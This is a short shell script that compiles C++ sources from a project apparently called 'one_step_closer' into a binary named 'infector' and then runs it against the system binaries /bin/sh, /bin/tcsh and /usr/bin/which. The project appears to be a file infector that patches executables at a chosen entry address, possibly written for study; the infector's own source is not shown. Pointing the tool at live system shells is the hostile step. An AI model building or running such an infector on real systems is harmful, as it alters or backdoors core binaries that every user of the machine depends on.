#!/bin/sh
step=${1:-one}
g++ -Wall -D PATCH_ENTRY_ADDR=\"patch_entry_addr/$step.inc\" \
	-I out/one_step_closer \
	-o tmp/one_step_closer/$step/infector \
	src/one_step_closer/*.cxx \
&& cd tmp/one_step_closer/$step \
&& ./infector /bin/sh /bin/tcsh /usr/bin/which
